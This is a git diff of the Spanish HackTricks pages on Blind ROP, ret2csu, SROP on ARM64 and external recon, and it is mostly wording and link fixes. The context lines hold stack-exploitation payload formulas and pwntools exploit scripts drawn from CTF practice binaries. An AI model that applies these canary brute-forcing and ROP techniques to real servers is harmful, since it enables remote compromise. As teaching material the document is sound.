+* Una vulnerabilidad en la pila y conocimiento de cómo activarla.
 * Una aplicación de servidor que se reinicia después de un fallo.
 
 ## Ataque
 
 ### **1. Encontrar el desplazamiento vulnerable** enviando un carácter más hasta que se detecte un mal funcionamiento del servidor
 
-### **2. Fuerza bruta del canary** para filtrarlo&#x20;
+### **2. Fuerza bruta del canario** para filtrarlo
 
-### **3. Fuerza bruta de las direcciones almacenadas de RBP y RIP** en la pila para filtrarlas
+### **3. Fuerza bruta de las direcciones RBP y RIP** almacenadas en la pila para filtrarlas
 
 Puedes encontrar más información sobre estos procesos [aquí (BF Forked & Threaded Stack Canaries)](../common-binary-protections-and-bypasses/stack-canaries/bf-forked-stack-canaries.md) y [aquí (BF Addresses in the Stack)](../common-binary-protections-and-bypasses/pie/bypassing-canary-and-pie.md).
 
 ### **4. Encontrar el gadget de parada**
 
-Este gadget básicamente permite confirmar que algo interesante fue ejecutado por el gadget ROP porque la ejecución no se bloqueó. Por lo general, este gadget va a ser algo que **detiene la ejecución** y se posiciona al final de la cadena ROP al buscar gadgets ROP para confirmar que se ejecutó un gadget ROP específico.
+Este gadget básicamente permite confirmar que algo interesante fue ejecutado por el gadget ROP porque la ejecución no falló. Usualmente, este gadget va a ser algo que **detiene la ejecución** y está posicionado al final de la cadena ROP al buscar gadgets ROP para confirmar que un gadget ROP específico fue ejecutado.
 
 ### **5. Encontrar el gadget BROP**
 
-Esta técnica utiliza el gadget [**ret2csu**](ret2csu.md). Y esto se debe a que si se accede a este gadget en medio de algunas instrucciones, se obtienen gadgets para controlar **`rsi`** y **`rdi`**:
+Esta técnica utiliza el gadget [**ret2csu**](ret2csu.md). Y esto es porque si accedes a este gadget en medio de algunas instrucciones obtienes gadgets para controlar **`rsi`** y **`rdi`**:
 
-<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1).png" alt="" width="278"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt="" width="278"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
 
 Estos serían los gadgets:
 
 * `pop rsi; pop r15; ret`
 * `pop rdi; ret`
 
-Observa cómo con esos gadgets es posible **controlar 2 argumentos** de una función a llamar.
+Nota cómo con esos gadgets es posible **controlar 2 argumentos** de una función a llamar.
 
-Además, observa que el gadget ret2csu tiene una **firma muy única** porque va a sacar 6 registros de la pila. Por lo tanto, enviando una cadena como:
+Además, nota que el gadget ret2csu tiene una **firma muy única** porque va a estar sacando 6 registros de la pila. Así que enviando una cadena como:
 
-`'A' * desplazamiento + canary + rbp + DIRECCIÓN + 0xdead * 6 + STOP`
+`'A' * offset + canary + rbp + ADDR + 0xdead * 6 + STOP`
 
-Si se ejecuta el **STOP**, esto básicamente significa que se utilizó una **dirección que está sacando 6 registros** de la pila. O que la dirección utilizada también fue una dirección de STOP.
+Si el **STOP es ejecutado**, esto básicamente significa que se utilizó una **dirección que está sacando 6 registros** de la pila. O que la dirección utilizada también fue una dirección STOP.
 
 Para **eliminar esta última opción**, se ejecuta una nueva cadena como la siguiente y no debe ejecutar el gadget STOP para confirmar que el anterior sacó 6 registros:
 
-`'A' * desplazamiento + canary + rbp + DIRECCIÓN`
+`'A' * offset + canary + rbp + ADDR`
 
 Conociendo la dirección del gadget ret2csu, es posible **inferir la dirección de los gadgets para controlar `rsi` y `rdi`**.
 
 ### 6. Encontrar PLT
 
-La tabla PLT se puede buscar desde 0x400000 o desde la **dirección RIP filtrada** de la pila (si se está utilizando **PIE**). Las **entradas** de la tabla están **separadas por 16B** (0x10B), y cuando se llama a una función, el servidor no se bloquea incluso si los argumentos no son correctos. Además, verificar la dirección de una entrada en el **PLT + 6B tampoco se bloquea** ya que es el primer código ejecutado.
+La tabla PLT se puede buscar desde 0x400000 o desde la **dirección RIP filtrada** de la pila (si se está utilizando **PIE**). Las **entradas** de la tabla están **separadas por 16B** (0x10B), y cuando se llama a una función el servidor no falla incluso si los argumentos no son correctos. Además, verificar la dirección de una entrada en el **PLT + 6B tampoco falla** ya que es el primer código ejecutado.
 
 Por lo tanto, es posible encontrar la tabla PLT verificando los siguientes comportamientos:
 
-* `'A' * desplazamiento + canary + rbp + DIRECCIÓN + STOP` -> sin bloqueo
-* `'A' * desplazamiento + canary + rbp + (DIRECCIÓN + 0x6) + STOP` -> sin bloqueo
-* `'A' * desplazamiento + canary + rbp + (DIRECCIÓN + 0x10) + STOP` -> sin bloqueo
+* `'A' * offset + canary + rbp + ADDR + STOP` -> no falla
+* `'A' * offset + canary + rbp + (ADDR + 0x6) + STOP` -> no falla
+* `'A' * offset + canary + rbp + (ADDR + 0x10) + STOP` -> no falla
 
 ### 7. Encontrar strcmp
 
-La función **`strcmp`** establece el registro **`rdx`** a la longitud de la cadena que se está comparando. Ten en cuenta que **`rdx`** es el **tercer argumento** y necesitamos que sea **mayor que 0** para luego usar `write` para filtrar el programa.
+La función **`strcmp`** establece el registro **`rdx`** a la longitud de la cadena que se está comparando. Nota que **`rdx`** es el **tercer argumento** y necesitamos que sea **mayor que 0** para luego usar `write` para filtrar el programa.
 
-Es posible encontrar la ubicación de **`strcmp`** en el PLT basándose en su comportamiento utilizando el hecho de que ahora podemos controlar los 2 primeros argumentos de las funciones:
+Es posible encontrar la ubicación de **`strcmp`** en el PLT basado en su comportamiento utilizando el hecho de que ahora podemos controlar los 2 primeros argumentos de las funciones:
 
-* strcmp(\<dirección no leída>, \<dirección no leída>) -> bloqueo
-* strcmp(\<dirección no leída>, \<dirección leída>) -> bloqueo
-* strcmp(\<dirección leída>, \<dirección no leída>) -> bloqueo
-* strcmp(\<dirección leída>, \<dirección leída>) -> sin bloqueo
+* strcmp(\<non read addr>, \<non read addr>) -> falla
+* strcmp(\<non read addr>, \<read addr>) -> falla
+* strcmp(\<read addr>, \<non read addr>) -> falla
+* strcmp(\<read addr>, \<read addr>) -> no falla
 
-Es posible verificar esto llamando a cada entrada de la tabla PLT o utilizando el **camino lento de PLT** que básicamente consiste en **llamar a una entrada en la tabla PLT + 0xb** (que llama a **`dlresolve`**) seguido en la pila por el **número de entrada que se desea sondear** (comenzando en cero) para escanear todas las entradas de PLT desde la primera:
+Es posible verificar esto llamando a cada entrada de la tabla PLT o utilizando el **camino lento del PLT** que básicamente consiste en **llamar a una entrada en la tabla PLT + 0xb** (que llama a **`dlresolve`**) seguido en la pila por el **número de entrada que se desea sondear** (comenzando en cero) para escanear todas las entradas PLT desde la primera:
 
-* strcmp(\<dirección no leída>, \<dirección leída>) -> bloqueo
-* `b'A' * desplazamiento + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0x300) + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` -> Bloqueará
-* strcmp(\<dirección leída>, \<dirección no leída>) -> bloqueo
-* `b'A' * desplazamiento + canary + rbp + (BROP + 0x9) + p64(0x300) + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP`&#x20;
-* strcmp(\<dirección leída>, \<dirección leída>) -> sin bloqueo
-* `b'A' * desplazamiento + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP`&#x20;
+* strcmp(\<non read addr>, \<read addr>) -> falla
+* `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0x300) + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP` -> Fallará
+* strcmp(\<read addr>, \<non read addr>) -> falla
+* `b'A' * offset + canary + rbp + (BROP + 0x9) + p64(0x300) + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP`
+* strcmp(\<read addr>, \<read addr>) -> no falla
+* `b'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb ) + p64(ENTRY) + STOP`
 
 Recuerda que:
 
@@ -101,11 +101,12 @@ Recuerda que:
 Habiendo encontrado `strcmp`, es posible establecer **`rdx`** a un valor mayor que 0.
 
 {% hint style="success" %}
-Ten en cuenta que por lo general `rdx` ya contendrá un valor mayor que 0, por lo que este paso podría no ser necesario.
+Nota que usualmente `rdx` ya tendrá un valor mayor que 0, así que este paso podría no ser necesario.
 {% endhint %}
+
 ### 8. Encontrar Write o equivalente
 
-Finalmente, se necesita un gadget que exfiltre datos para exfiltrar el binario. Y en este momento es posible **controlar 2 argumentos y establecer `rdx` mayor que 0.**
+Finalmente, se necesita un gadget que exfiltre datos para poder exfiltrar el binario. Y en este momento es posible **controlar 2 argumentos y establecer `rdx` mayor que 0.**
 
 Hay 3 funciones comunes que podrían ser abusadas para esto:
 
@@ -113,17 +114,17 @@ Hay 3 funciones comunes que podrían ser abusadas para esto:
 * `dprintf(fd, data)`
 * `write(fd, data, len(data)`
 
-Sin embargo, el documento original solo menciona la función **`write`**, así que hablemos de ella:
+Sin embargo, el documento original solo menciona la **`write`**, así que hablemos de ella:
 
-El problema actual es que no sabemos **dónde está la función write dentro de la PLT** y no sabemos **un número de fd para enviar los datos a nuestro socket**.
+El problema actual es que no sabemos **dónde está la función write dentro del PLT** y no sabemos **un número de fd para enviar los datos a nuestro socket**.
 
 Sin embargo, sabemos **dónde está la tabla PLT** y es posible encontrar write basado en su **comportamiento**. Y podemos crear **varias conexiones** con el servidor y usar un **FD alto** esperando que coincida con algunas de nuestras conexiones.
 
 Firmas de comportamiento para encontrar esas funciones:
 
-* `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0) + p64(0) + (PLT + 0xb) + p64(ENTRY) + STOP`  -> Si se imprime algún dato, entonces se encontró puts
-* `'A' * offset + canary + rbp + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP`  -> Si se imprime algún dato, entonces se encontró dprintf
-* `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + (RIP + 0x1) + p64(0x0) + (PLT + 0xb ) + p64(STRCMP ENTRY) + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP`  -> Si se imprime algún dato, entonces se encontró write
+* `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + p64(0) + p64(0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> Si hay datos impresos, entonces se encontró puts
+* `'A' * offset + canary + rbp + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> Si hay datos impresos, entonces se encontró dprintf
+* `'A' * offset + canary + rbp + (BROP + 0x9) + RIP + (BROP + 0x7) + (RIP + 0x1) + p64(0x0) + (PLT + 0xb ) + p64(STRCMP ENTRY) + (BROP + 0x9) + FD + (BROP + 0x7) + RIP + p64(0x0) + (PLT + 0xb) + p64(ENTRY) + STOP` -> Si hay datos impresos, entonces se encontró write
 
 ## Explotación Automática
 
@@ -133,3 +134,18 @@ Firmas de comportamiento para encontrar esas funciones:
 
 * Documento original: [https://www.scs.stanford.edu/brop/bittau-brop.pdf](https://www.scs.stanford.edu/brop/bittau-brop.pdf)
 * [https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/blind-return-oriented-programming-brop](https://www.ctfrecipes.com/pwn/stack-exploitation/arbitrary-code-execution/code-reuse-attack/blind-return-oriented-programming-brop)
+
+{% hint style="success" %}
+Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
+Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+
+<details>
+
+<summary>Support HackTricks</summary>
+
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+
+</details>
+{% endhint %}

binary-exploitation/rop-return-oriented-programing/ret2csu.md

@@ -1,16 +1,16 @@
 # Ret2csu
 
 {% hint style="success" %}
-Aprende y practica Hacking en AWS: <img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
-Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
+Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 
-<summary>Apoya a HackTricks</summary>
+<summary>Support HackTricks</summary>
 
-* ¡Consulta los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
-* **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Comparte trucos de hacking enviando PRs a los repositorios de** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
 
 </details>
 {% endhint %}
@@ -19,13 +19,13 @@ Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" d
 
 ## [https://www.scs.stanford.edu/brop/bittau-brop.pdf](https://www.scs.stanford.edu/brop/bittau-brop.pdf)Información Básica
 
-**ret2csu** es una técnica de hacking utilizada cuando intentas tomar el control de un programa pero no puedes encontrar los **gadgets** que sueles usar para manipular el comportamiento del programa.&#x20;
+**ret2csu** es una técnica de hacking utilizada cuando intentas tomar control de un programa pero no puedes encontrar los **gadgets** que normalmente usas para manipular el comportamiento del programa.
 
-Cuando un programa utiliza ciertas bibliotecas (como libc), tiene algunas funciones integradas para gestionar cómo se comunican entre sí diferentes partes del programa. Entre estas funciones hay algunas joyas ocultas que pueden actuar como nuestros gadgets faltantes, especialmente una llamada `__libc_csu_init`.
+Cuando un programa utiliza ciertas bibliotecas (como libc), tiene algunas funciones integradas para gestionar cómo diferentes partes del programa se comunican entre sí. Entre estas funciones hay algunas joyas ocultas que pueden actuar como nuestros gadgets faltantes, especialmente una llamada `__libc_csu_init`.
 
 ### Los Gadgets Mágicos en \_\_libc\_csu\_init
 
-En **`__libc_csu_init`**, hay dos secuencias de instrucciones (gadgets) para destacar:
+En **`__libc_csu_init`**, hay dos secuencias de instrucciones (gadgets) a destacar:
 
 1. La primera secuencia nos permite configurar valores en varios registros (rbx, rbp, r12, r13, r14, r15). Estos son como espacios donde podemos almacenar números o direcciones que queremos usar más tarde.
 ```armasm
@@ -37,18 +37,18 @@ pop r14;
 pop r15;
 ret;
 ```
-Este gadget nos permite controlar estos registros sacando valores de la pila y colocándolos en ellos.
+Este gadget nos permite controlar estos registros al sacar valores de la pila y colocarlos en ellos.
 
 2. La segunda secuencia utiliza los valores que configuramos para hacer un par de cosas:
-* **Mover valores específicos a otros registros**, preparándolos para que los utilicemos como parámetros en funciones.
-* **Realizar una llamada a una ubicación** determinada sumando los valores en r15 y rbx, luego multiplicando rbx por 8.
+* **Mover valores específicos a otros registros**, preparándolos para que los usemos como parámetros en funciones.
+* **Realizar una llamada a una ubicación** determinada al sumar los valores en r15 y rbx, y luego multiplicar rbx por 8.
 ```armasm
 mov rdx, r15;
 mov rsi, r14;
 mov edi, r13d;
 call qword [r12 + rbx*8];
 ```
-2. Quizás no conozcas ninguna dirección para escribir allí y **necesites una instrucción `ret`**. Ten en cuenta que el segundo gadget también **terminará en un `ret`**, pero deberás cumplir algunas **condiciones** para poder alcanzarlo:
+2. Tal vez no conozcas ninguna dirección a la que escribir allí y **necesitas una instrucción `ret`**. Ten en cuenta que el segundo gadget también **terminará en un `ret`**, pero necesitarás cumplir con algunas **condiciones** para alcanzarlo:
 ```armasm
 mov rdx, r15;
 mov rsi, r14;
@@ -62,8 +62,8 @@ ret
 ```
 Las condiciones serán:
 
-* `[r12 + rbx*8]` debe apuntar a una dirección que almacene una función callable (si no tienes idea y no hay PIE, puedes usar la función `_init`):
-* Si \_init está en `0x400560`, usa GEF para buscar un puntero en la memoria hacia él y haz que `[r12 + rbx*8]` sea la dirección con el puntero a \_init:
+* `[r12 + rbx*8]` debe apuntar a una dirección que almacene una función callable (si no hay idea y no hay pie, puedes usar simplemente la función `_init`):
+* Si \_init está en `0x400560`, usa GEF para buscar un puntero en la memoria hacia ella y hacer que `[r12 + rbx*8]` sea la dirección con el puntero a \_init:
 ```bash
 # Example from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
 gef➤  search-pattern 0x400560
@@ -74,13 +74,13 @@ gef➤  search-pattern 0x400560
 0x600e38 - 0x600e44  →   "\x60\x05\x40[...]"
 ```
 * `rbp` y `rbx` deben tener el mismo valor para evitar el salto
-* Hay algunas instrucciones `pop` omitidas que debes tener en cuenta
+* Hay algunos pops omitidos que necesitas tener en cuenta
 
 ## RDI y RSI
 
-Otra forma de controlar **`rdi`** y **`rsi`** desde el gadget ret2csu es accediendo a desplazamientos específicos:
+Otra forma de controlar **`rdi`** y **`rsi`** desde el gadget ret2csu es accediendo a sus offsets específicos:
 
-<figure><img src="../../.gitbook/assets/image (2) (1) (1).png" alt="" width="283"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
+<figure><img src="../../.gitbook/assets/image (2) (1) (1) (1).png" alt="" width="283"><figcaption><p><a href="https://www.scs.stanford.edu/brop/bittau-brop.pdf">https://www.scs.stanford.edu/brop/bittau-brop.pdf</a></p></figcaption></figure>
 
 Consulta esta página para más información:
 
@@ -90,16 +90,16 @@ Consulta esta página para más información:
 
 ## Ejemplo
 
-### Utilizando la llamada
+### Usando la llamada
 
-Imagina que deseas hacer una llamada al sistema o llamar a una función como `write()` pero necesitas valores específicos en los registros `rdx` y `rsi` como parámetros. Normalmente, buscarías gadgets que establezcan directamente estos registros, pero no puedes encontrar ninguno.
+Imagina que quieres hacer una syscall o llamar a una función como `write()`, pero necesitas valores específicos en los registros `rdx` y `rsi` como parámetros. Normalmente, buscarías gadgets que configuren estos registros directamente, pero no puedes encontrar ninguno.
 
-Aquí es donde entra en juego **ret2csu**:
+Aquí es donde **ret2csu** entra en juego:
 
-1. **Configurar los Registros**: Utiliza el primer gadget mágico para sacar valores de la pila y colocarlos en rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx) y r15.
-2. **Utilizar el Segundo Gadget**: Con esos registros configurados, utilizas el segundo gadget. Esto te permite mover los valores elegidos a `rdx` y `rsi` (desde r14 y r13, respectivamente), preparando los parámetros para una llamada de función. Además, controlando `r15` y `rbx`, puedes hacer que el programa llame a una función ubicada en la dirección que calculas y colocas en `[r15 + rbx*8]`.
+1. **Configura los Registros**: Usa el primer gadget mágico para sacar valores de la pila y colocarlos en rbx, rbp, r12 (edi), r13 (rsi), r14 (rdx) y r15.
+2. **Usa el Segundo Gadget**: Con esos registros configurados, usas el segundo gadget. Esto te permite mover tus valores elegidos a `rdx` y `rsi` (desde r14 y r13, respectivamente), preparando los parámetros para una llamada a función. Además, al controlar `r15` y `rbx`, puedes hacer que el programa llame a una función ubicada en la dirección que calculas y colocas en `[r15 + rbx*8]`.
 
-Tienes un [**ejemplo utilizando esta técnica y explicándola aquí**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation), y este es el exploit final que se utilizó:
+Tienes un [**ejemplo usando esta técnica y explicándolo aquí**](https://ir0nstone.gitbook.io/notes/types/stack/ret2csu/exploitation), y este es el exploit final que utilizó:
 ```python
 from pwn import *
 
@@ -124,12 +124,12 @@ p.sendline(p64(elf.sym['win']))            # send to gets() so it's written
 print(p.recvline())                        # should receive "Awesome work!"
 ```
 {% hint style="warning" %}
-Ten en cuenta que el exploit anterior no está destinado a realizar un **`RCE`**, sino que simplemente llama a una función llamada **`win`** (tomando la dirección de `win` desde stdin llamando a gets en la cadena ROP y almacenándola en r15) con un tercer argumento con el valor `0xdeadbeefcafed00d`.
+Nota que el exploit anterior no está destinado a hacer un **`RCE`**, está destinado a simplemente llamar a una función llamada **`win`** (tomando la dirección de `win` desde stdin llamando gets en la cadena ROP y almacenándola en r15) con un tercer argumento con el valor `0xdeadbeefcafed00d`.
 {% endhint %}
 
-### Saltando la llamada y alcanzando ret
+### Eludir la llamada y alcanzar ret
 
-El siguiente exploit fue extraído [**de esta página**](https://guyinatuxedo.github.io/18-ret2\_csu\_dl/ropemporium\_ret2csu/index.html) donde se utiliza **ret2csu** pero en lugar de usar la llamada, se está **saltando las comparaciones y alcanzando el `ret`** después de la llamada:
+El siguiente exploit fue extraído [**de esta página**](https://guyinatuxedo.github.io/18-ret2\_csu\_dl/ropemporium\_ret2csu/index.html) donde se utiliza **ret2csu** pero en lugar de usar la llamada, está **eludiendo las comparaciones y alcanzando el `ret`** después de la llamada:
 ```python
 # Code from https://guyinatuxedo.github.io/18-ret2_csu_dl/ropemporium_ret2csu/index.html
 # This exploit is based off of: https://www.rootnetsec.com/ropemporium-ret2csu/
@@ -179,6 +179,21 @@ payload += ret2win
 target.sendline(payload)
 target.interactive()
 ```
-### ¿Por qué no usar directamente libc?
+### ¿Por qué no usar libc directamente?
 
-Por lo general, estos casos también son vulnerables a **ret2plt** + **ret2lib**, pero a veces necesitas controlar más parámetros de los que se pueden controlar fácilmente con los gadgets que encuentras directamente en libc. Por ejemplo, la función `write()` requiere tres parámetros, y **puede que no sea posible encontrar gadgets para establecer todos estos directamente**.
+Por lo general, estos casos también son vulnerables a [**ret2plt**](../common-binary-protections-and-bypasses/aslr/ret2plt.md) + [**ret2lib**](ret2lib/), pero a veces necesitas controlar más parámetros de los que se pueden controlar fácilmente con los gadgets que encuentras directamente en libc. Por ejemplo, la función `write()` requiere tres parámetros, y **encontrar gadgets para establecer todos estos directamente puede no ser posible**.
+
+{% hint style="success" %}
+Learn & practice AWS Hacking:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
+Learn & practice GCP Hacking: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+
+<details>
+
+<summary>Support HackTricks</summary>
+
+* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
+* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
+* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
+
+</details>
+{% endhint %}

binary-exploitation/rop-return-oriented-programing/srop-sigreturn-oriented-programming/srop-arm64.md

@@ -1,8 +1,8 @@
 # SROP - ARM64
 
 {% hint style="success" %}
-Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
-Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Learn & practice AWS Hacking:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
+Learn & practice GCP Hacking: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 
@@ -147,7 +147,7 @@ return 0;
 
 En la sección **`vdso`** es posible encontrar una llamada a **`sigreturn`** en el offset **`0x7b0`**:
 
-<figure><img src="../../../.gitbook/assets/image (17).png" alt="" width="563"><figcaption></figcaption></figure>
+<figure><img src="../../../.gitbook/assets/image (17) (1).png" alt="" width="563"><figcaption></figcaption></figure>
 
 Por lo tanto, si se filtra, es posible **usar esta dirección para acceder a un `sigreturn`** si el binario no lo está cargando:
 ```python
@@ -191,8 +191,8 @@ Y para eludir la dirección de `/bin/sh`, podrías crear varias variables de ent
 {% endcontent-ref %}
 
 {% hint style="success" %}
-Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
-Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Aprende y practica Hacking en AWS:<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../../.gitbook/assets/arte.png" alt="" data-size="line">\
+Aprende y practica Hacking en GCP: <img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 

generic-methodologies-and-resources/external-recon-methodology/README.md

@@ -1,8 +1,8 @@
 # Metodología de Reconocimiento Externo
 
 {% hint style="success" %}
-Aprende y practica Hacking en AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
-Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
+Aprende y practica Hacking en AWS:<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="../../.gitbook/assets/arte.png" alt="" data-size="line">\
+Aprende y practica Hacking en GCP: <img src="../../.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="../../.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
 
 <details>
 
@@ -10,12 +10,12 @@ Aprende y practica Hacking en GCP: <img src="/.gitbook/assets/grte.png" alt="" d
 
 * Revisa los [**planes de suscripción**](https://github.com/sponsors/carlospolop)!
 * **Únete al** 💬 [**grupo de Discord**](https://discord.gg/hRep4RUj7f) o al [**grupo de telegram**](https://t.me/peass) o **síguenos** en **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
-* **Comparte trucos de hacking enviando PRs a los** [**repos de HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
+* **Comparte trucos de hacking enviando PRs a los** [**HackTricks**](https://github.com/carlospolop/hacktricks) y [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos de github.
 
 </details>
 {% endhint %}
 
-<figure><img src="../../.gitbook/assets/image (1) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
